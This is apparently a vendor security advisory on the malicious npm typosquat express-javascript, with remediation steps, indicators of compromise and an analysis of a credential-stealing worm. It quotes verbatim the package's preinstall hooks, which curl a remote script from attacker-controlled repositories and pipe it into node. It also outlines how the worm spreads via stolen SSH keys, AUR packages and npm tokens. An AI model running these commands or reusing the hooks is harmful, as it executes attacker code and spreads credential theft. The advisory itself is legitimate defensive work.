Which versions of express-javascript are malicious?

The following npm versions of express-javascript are flagged malicious: 5.2.1, 5.2.2. Treat any of these as compromised.

How do I remediate express-javascript if I installed it?

express-javascript is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed express-javascript — how do I know if it already compromised me?

If express-javascript was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is express-javascript part of a known attack campaign?

Yes — express-javascript is associated with the IN-MAL-2026-020632, IN-MAL-2026-020871 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find express-javascript across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for express-javascript (2 malicious versions).

Malicious package

express-javascriptnpm

Advisory published Sep 29, 2026Updated Oct 5, 2026

express-javascript is a confirmed malicious npm package (MAL-2026-17242) that steals credentials and exfiltrates sensitive data (malicious versions 5.2.1, 5.2.2). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-javascript (npm)

MAL-2026-17242

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall express-javascript

What this malware does

The package express-javascript impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

[email protected] is a typosquat of the real express framework, shipping cloned package metadata (author TJ Holowaychuk, repository expressjs/express, homepage expressjs.com, matching keywords and dependencies) to appear as the genuine package. Its package.json declares a preinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, downloading a remote, unpinned, non-publisher JavaScript payload from a third-party Russian code-hosting service (proxied through web.archive.org) and piping it directly into node for execution. The fetch and execute fire automatically on npm install with no integrity check, no version pinning, and no relation to the express project's real infrastructure. The fetched content is attacker-controlled and can change at any time.

Malicious versions

2 flagged

5.2.15.2.2

Indicators of compromise (SHA-256)

73e4909976d37fb7fb7dd30012d82bd882608df20716a824f1dc0efa074b5401

a84bd81adecaf93be6fe963765bf1686f6b6bcefac1b8a6124bc2841053fd265

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for express-javascript (2 malicious versions).
If you installed it — respond
express-javascript is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If express-javascript was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. express-javascript on npm has been identified as a malicious package (versions 5.2.1, 5.2.2 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020632IN-MAL-2026-020871

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder
Pranesh, InvisiRisk · finder
SafeDep · finder

Detect & block this

O3 blocks express-javascript-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring

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